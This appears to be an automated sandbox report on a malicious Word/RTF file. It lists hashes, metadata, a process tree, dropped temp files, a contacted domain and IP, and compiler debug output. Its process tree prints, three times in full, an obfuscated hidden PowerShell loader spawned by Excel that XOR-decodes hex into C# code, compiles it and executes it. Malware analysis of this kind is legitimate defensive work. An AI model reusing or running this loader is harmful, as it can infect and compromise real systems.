File name: | 4babb43e6c0f28ca013aaeb420d41a0c260af5bd55c994a459bc2d3faedd77c4.doc |
Full analysis: | https://app.any.run/tasks/6f183978-254b-4f23-977d-87824fa151a2 |
Verdict: | Malicious activity |
Analysis date: | March 31, 2020, 08:12:32 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | text/rtf |
File info: | Rich Text Format data, version 1, unknown character set |
MD5: | D0481F63BB2CD902E98421F4BEB490B5 |
SHA1: | 8B690E7E77513AD4BCDEA2BC9ACB63DC99482301 |
SHA256: | 4BABB43E6C0F28CA013AAEB420D41A0C260AF5BD55C994A459BC2D3FAEDD77C4 |
SSDEEP: | 1536:oEOwYyMX//up6ffjrKTO4hi6UVf8wYyMX//up6ffjrKTO4hi6UVf8wYyMX//up6Y:oEHsfxsfxsfxsfxsfrU |
.rtf | | | Rich Text Format (100) |
---|
InternalVersionNumber: | 57435 |
---|---|
CharactersWithSpaces: | 4 |
Characters: | 4 |
Words: | - |
Pages: | 1 |
TotalEditTime: | - |
RevisionNumber: | 1 |
ModifyDate: | 2019:01:07 23:54:00 |
CreateDate: | 2019:01:07 23:54:00 |
LastModifiedBy: | Admin |
Author: | Admin |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2556 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\4babb43e6c0f28ca013aaeb420d41a0c260af5bd55c994a459bc2d3faedd77c4.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3880 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
1136 | powershell -WindowStyle Hidden function v349fa9 {param($z5faad1)$v78e8d='l8cd6';$cb399='';for ($i=0; $i -lt $z5faad1.length;$i+=2){$e6ada3e=[convert]::ToByte($z5faad1.Substring($i,2),16);$cb399+=[char]($e6ada3e -bxor $v78e8d[($i/2)%$v78e8d.length]);}return $cb399;} $k586d6 = '194b0a0a514c6b1a174209555811450556044465154b17015b426a160a420555064a7f024c0616591c6b061640055b06170d194b0a0a514c6b1a174209554d205f0d5f0d0b45185100170d194b0a0a514c6b1a174209554d2d79574d100d580b18301d45185d0e4a78094c58693c1c4d01085f0f180008571f4b4309000e0d540252176327085a2555130b441810410f531e560608055e1a4f2158184a1a345905561759142b5d173444035b2200521e5d10171445654314430e540a07161f4c02105f0f18061c42094a0d447f024c3310444c4f5055045d102a0a423c4c1144545a0e00561a1f4c110d580b18195001580b554d0d377c0f087f01480c1642441a080144025d0f57044e14432158184a1a3459055617440b4c1a2f0b5708740a06440d4a1a461f311813115400510044451859170d554c5d1b10531e56432d5818681716161e5a5101035d0a4b17421e510d0316155b000001545e4a5f6d28540f2d5b1c5711101e4e5306165809545056144018260a421e41330b5f024c5e4660054a1711570068110b42095b17461f311813115400510044451859170d554c5d1b10531e564306590354430e555e0c50520444710d1066184a43060f0f0050051a39710d1066184a430e0308595b501a4c4d0a0a424c40540253585c064816034d174443055617445e5a005750015511583f7200542a0946034a174c14275d110a53000b514a520054414816295617164f3c570a0a42511a31105a215715017b09550c164f4e144337531874021742294a110b44515e02084509113e44451859170d554c5d1b10531e56431259055c430b03090d514c7f024c3310444c52500657590e4f2d5818681716161c0054055540510d10160f0a5b000f0a115814430e540a07161f4c02105f0f180a0a424c4f0707000a104a1f7f024c3310444c5b0250005b0c4359161e5a5101035d0a4b1205580105050f441a53000359095354525d00535c03580805461f45030a021e0f5957520158055e2d581868171618365d110b1f175f0c10594c4b550654580e055f4b25561734421e180e5d025d0a505d0b1b0b525607445b0250005b0c4f1205580105050f441a51000359095354525a0d5302035508075600580b53050309085555004e114a5f5f0a100e5d025d0a505d0b51710d1066184a4d3e531e574a1f51034c0c44455a5a0150000a031e317f024c3310444c525101555a5d01591e39710d1066184a4a510d19510d101600010557045108580d504419090704580b55561e01015755045f014f0e04095b55015440081b500640571610160001055704451118035918574317000e5a5752505745211d4209633e445308015251075143531c055d14531c500a14531c0f5c45582d581868171616070955575555052e05441f500208182d540f0b55247f0f0b540d544b571f577502164504590f4a7503481a4c53080152510740084f0f075a0b005d1a5f11580b03090d514c58094f432d58186817161e01015755045f014d30592556175202441148544e5c0852061f40535252050f014f571f574b550654580e055e163b5d01275a055d0d1016185c5a550451560613163b5d01275a055d0d101e450310104405560444450e5d5a0107517d0d125f1e570d0953024c4d2353187e0c0852094a3305420410260a40054a0c0a5b0956174a651c5d000d57007e0c0852094a4d25461c540a075718510c0a720d4c024d1d4e643f1c0f580d55461d1a0b575d500d014b46025e0d0755545c09414d0d185c5a5504427c0c135800570200700554064c405f0c5a02575510415402585b525307580c5651005d0f570706550d5a54025901530006540d545401585a530606550d05555559015253060f0c055004595a53070655095a545359085307060e0c5154045909535c020d0d505502595c414d1a1f5a065d535d11583444035b0617453f4c0216422556050b160e5b525d050e0c5e0a531b183316590f5d101765185911107f025e0c4c450e5d5a010745033316590f5d1017183f4c021642445a00550f5f5a574d0d1e5d1711440218535f4b1c4d01085f0f181010571851004445184a0a0a514c4e50500f0a595a4c45184a0a0a514c500553550f111817421e510d03160e0e550704511a0f5c55080e415f45184a0a0a514c4a0156535909515965184a0a0a51427d0e14421503050b4444510d10160505535f5f50500553550f162f01580b4c0b5f5f4705514d4d0e411701161b0b525607517b0c0a40094a174a62037a1a105344500553550f163011541f4c110d580b100a4804451452521f574a0156535909514f0b445b0b054445101457075e09433a160e0e55070437100a4b0445184644545a0e005618205d0d034204654a5f4b1e5d1711440218110604090d52560d1145'; $k586d62 = v349fa9($k586d6); Add-Type -TypeDefinition $k586d62; [m6b57fd]::wdc6f(); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | EXCEL.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1632 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
3872 | powershell -WindowStyle Hidden function v349fa9 {param($z5faad1)$v78e8d='l8cd6';$cb399='';for ($i=0; $i -lt $z5faad1.length;$i+=2){$e6ada3e=[convert]::ToByte($z5faad1.Substring($i,2),16);$cb399+=[char]($e6ada3e -bxor $v78e8d[($i/2)%$v78e8d.length]);}return $cb399;} $k586d6 = '194b0a0a514c6b1a174209555811450556044465154b17015b426a160a420555064a7f024c0616591c6b061640055b06170d194b0a0a514c6b1a174209554d205f0d5f0d0b45185100170d194b0a0a514c6b1a174209554d2d79574d100d580b18301d45185d0e4a78094c58693c1c4d01085f0f180008571f4b4309000e0d540252176327085a2555130b441810410f531e560608055e1a4f2158184a1a345905561759142b5d173444035b2200521e5d10171445654314430e540a07161f4c02105f0f18061c42094a0d447f024c3310444c4f5055045d102a0a423c4c1144545a0e00561a1f4c110d580b18195001580b554d0d377c0f087f01480c1642441a080144025d0f57044e14432158184a1a3459055617440b4c1a2f0b5708740a06440d4a1a461f311813115400510044451859170d554c5d1b10531e56432d5818681716161e5a5101035d0a4b17421e510d0316155b000001545e4a5f6d28540f2d5b1c5711101e4e5306165809545056144018260a421e41330b5f024c5e4660054a1711570068110b42095b17461f311813115400510044451859170d554c5d1b10531e564306590354430e555e0c50520444710d1066184a43060f0f0050051a39710d1066184a430e0308595b501a4c4d0a0a424c40540253585c064816034d174443055617445e5a005750015511583f7200542a0946034a174c14275d110a53000b514a520054414816295617164f3c570a0a42511a31105a215715017b09550c164f4e144337531874021742294a110b44515e02084509113e44451859170d554c5d1b10531e56431259055c430b03090d514c7f024c3310444c52500657590e4f2d5818681716161c0054055540510d10160f0a5b000f0a115814430e540a07161f4c02105f0f180a0a424c4f0707000a104a1f7f024c3310444c5b0250005b0c4359161e5a5101035d0a4b1205580105050f441a53000359095354525d00535c03580805461f45030a021e0f5957520158055e2d581868171618365d110b1f175f0c10594c4b550654580e055f4b25561734421e180e5d025d0a505d0b1b0b525607445b0250005b0c4f1205580105050f441a51000359095354525a0d5302035508075600580b53050309085555004e114a5f5f0a100e5d025d0a505d0b51710d1066184a4d3e531e574a1f51034c0c44455a5a0150000a031e317f024c3310444c525101555a5d01591e39710d1066184a4a510d19510d101600010557045108580d504419090704580b55561e01015755045f014f0e04095b55015440081b500640571610160001055704451118035918574317000e5a5752505745211d4209633e445308015251075143531c055d14531c500a14531c0f5c45582d581868171616070955575555052e05441f500208182d540f0b55247f0f0b540d544b571f577502164504590f4a7503481a4c53080152510740084f0f075a0b005d1a5f11580b03090d514c58094f432d58186817161e01015755045f014d30592556175202441148544e5c0852061f40535252050f014f571f574b550654580e055e163b5d01275a055d0d1016185c5a550451560613163b5d01275a055d0d101e450310104405560444450e5d5a0107517d0d125f1e570d0953024c4d2353187e0c0852094a3305420410260a40054a0c0a5b0956174a651c5d000d57007e0c0852094a4d25461c540a075718510c0a720d4c024d1d4e643f1c0f580d55461d1a0b575d500d014b46025e0d0755545c09414d0d185c5a5504427c0c135800570200700554064c405f0c5a02575510415402585b525307580c5651005d0f570706550d5a54025901530006540d545401585a530606550d05555559015253060f0c055004595a53070655095a545359085307060e0c5154045909535c020d0d505502595c414d1a1f5a065d535d11583444035b0617453f4c0216422556050b160e5b525d050e0c5e0a531b183316590f5d101765185911107f025e0c4c450e5d5a010745033316590f5d1017183f4c021642445a00550f5f5a574d0d1e5d1711440218535f4b1c4d01085f0f181010571851004445184a0a0a514c4e50500f0a595a4c45184a0a0a514c500553550f111817421e510d03160e0e550704511a0f5c55080e415f45184a0a0a514c4a0156535909515965184a0a0a51427d0e14421503050b4444510d10160505535f5f50500553550f162f01580b4c0b5f5f4705514d4d0e411701161b0b525607517b0c0a40094a174a62037a1a105344500553550f163011541f4c110d580b100a4804451452521f574a0156535909514f0b445b0b054445101457075e09433a160e0e55070437100a4b0445184644545a0e005618205d0d034204654a5f4b1e5d1711440218110604090d52560d1145'; $k586d62 = v349fa9($k586d6); Add-Type -TypeDefinition $k586d62; [m6b57fd]::wdc6f(); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3104 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
3808 | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\a_awhzf6.cmdline" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | powershell.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 8.0.50727.4927 (NetFXspW7.050727-4900) | ||||
3096 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES7B73.tmp" "c:\Users\admin\AppData\Local\Temp\CSC7B72.tmp" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | — | csc.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 8.00.50727.4940 (Win7SP1.050727-5400) | ||||
3976 | powershell -WindowStyle Hidden function v349fa9 {param($z5faad1)$v78e8d='l8cd6';$cb399='';for ($i=0; $i -lt $z5faad1.length;$i+=2){$e6ada3e=[convert]::ToByte($z5faad1.Substring($i,2),16);$cb399+=[char]($e6ada3e -bxor $v78e8d[($i/2)%$v78e8d.length]);}return $cb399;} $k586d6 = '194b0a0a514c6b1a174209555811450556044465154b17015b426a160a420555064a7f024c0616591c6b061640055b06170d194b0a0a514c6b1a174209554d205f0d5f0d0b45185100170d194b0a0a514c6b1a174209554d2d79574d100d580b18301d45185d0e4a78094c58693c1c4d01085f0f180008571f4b4309000e0d540252176327085a2555130b441810410f531e560608055e1a4f2158184a1a345905561759142b5d173444035b2200521e5d10171445654314430e540a07161f4c02105f0f18061c42094a0d447f024c3310444c4f5055045d102a0a423c4c1144545a0e00561a1f4c110d580b18195001580b554d0d377c0f087f01480c1642441a080144025d0f57044e14432158184a1a3459055617440b4c1a2f0b5708740a06440d4a1a461f311813115400510044451859170d554c5d1b10531e56432d5818681716161e5a5101035d0a4b17421e510d0316155b000001545e4a5f6d28540f2d5b1c5711101e4e5306165809545056144018260a421e41330b5f024c5e4660054a1711570068110b42095b17461f311813115400510044451859170d554c5d1b10531e564306590354430e555e0c50520444710d1066184a43060f0f0050051a39710d1066184a430e0308595b501a4c4d0a0a424c40540253585c064816034d174443055617445e5a005750015511583f7200542a0946034a174c14275d110a53000b514a520054414816295617164f3c570a0a42511a31105a215715017b09550c164f4e144337531874021742294a110b44515e02084509113e44451859170d554c5d1b10531e56431259055c430b03090d514c7f024c3310444c52500657590e4f2d5818681716161c0054055540510d10160f0a5b000f0a115814430e540a07161f4c02105f0f180a0a424c4f0707000a104a1f7f024c3310444c5b0250005b0c4359161e5a5101035d0a4b1205580105050f441a53000359095354525d00535c03580805461f45030a021e0f5957520158055e2d581868171618365d110b1f175f0c10594c4b550654580e055f4b25561734421e180e5d025d0a505d0b1b0b525607445b0250005b0c4f1205580105050f441a51000359095354525a0d5302035508075600580b53050309085555004e114a5f5f0a100e5d025d0a505d0b51710d1066184a4d3e531e574a1f51034c0c44455a5a0150000a031e317f024c3310444c525101555a5d01591e39710d1066184a4a510d19510d101600010557045108580d504419090704580b55561e01015755045f014f0e04095b55015440081b500640571610160001055704451118035918574317000e5a5752505745211d4209633e445308015251075143531c055d14531c500a14531c0f5c45582d581868171616070955575555052e05441f500208182d540f0b55247f0f0b540d544b571f577502164504590f4a7503481a4c53080152510740084f0f075a0b005d1a5f11580b03090d514c58094f432d58186817161e01015755045f014d30592556175202441148544e5c0852061f40535252050f014f571f574b550654580e055e163b5d01275a055d0d1016185c5a550451560613163b5d01275a055d0d101e450310104405560444450e5d5a0107517d0d125f1e570d0953024c4d2353187e0c0852094a3305420410260a40054a0c0a5b0956174a651c5d000d57007e0c0852094a4d25461c540a075718510c0a720d4c024d1d4e643f1c0f580d55461d1a0b575d500d014b46025e0d0755545c09414d0d185c5a5504427c0c135800570200700554064c405f0c5a02575510415402585b525307580c5651005d0f570706550d5a54025901530006540d545401585a530606550d05555559015253060f0c055004595a53070655095a545359085307060e0c5154045909535c020d0d505502595c414d1a1f5a065d535d11583444035b0617453f4c0216422556050b160e5b525d050e0c5e0a531b183316590f5d101765185911107f025e0c4c450e5d5a010745033316590f5d1017183f4c021642445a00550f5f5a574d0d1e5d1711440218535f4b1c4d01085f0f181010571851004445184a0a0a514c4e50500f0a595a4c45184a0a0a514c500553550f111817421e510d03160e0e550704511a0f5c55080e415f45184a0a0a514c4a0156535909515965184a0a0a51427d0e14421503050b4444510d10160505535f5f50500553550f162f01580b4c0b5f5f4705514d4d0e411701161b0b525607517b0c0a40094a174a62037a1a105344500553550f163011541f4c110d580b100a4804451452521f574a0156535909514f0b445b0b054445101457075e09433a160e0e55070437100a4b0445184644545a0e005618205d0d034204654a5f4b1e5d1711440218110604090d52560d1145'; $k586d62 = v349fa9($k586d6); Add-Type -TypeDefinition $k586d62; [m6b57fd]::wdc6f(); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2548 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2556 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR6B84.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3880 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR72D7.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3880 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DFFFEC4213A3F34C6A.TMP | — | |
MD5:— | SHA256:— | |||
1632 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR769F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1136 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XBMG3Z348TFTQDGPSK3K.temp | — | |
MD5:— | SHA256:— | |||
1632 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DF6D1DA535695EAC1E.TMP | — | |
MD5:— | SHA256:— | |||
3104 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR79EB.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3808 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSC7B72.tmp | — | |
MD5:— | SHA256:— | |||
3808 | csc.exe | C:\Users\admin\AppData\Local\Temp\a_awhzf6.pdb | — | |
MD5:— | SHA256:— | |||
3872 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1E3L6GVMSF6L1B8IRI2U.temp | — | |
MD5:— | SHA256:— |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1136 | powershell.exe | 192.254.140.20:443 | mohanlakshmipathy.com | Unified Layer | US | suspicious |
Domain | IP | Reputation |
---|---|---|
mohanlakshmipathy.com |
| unknown |
Process | Message |
---|---|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|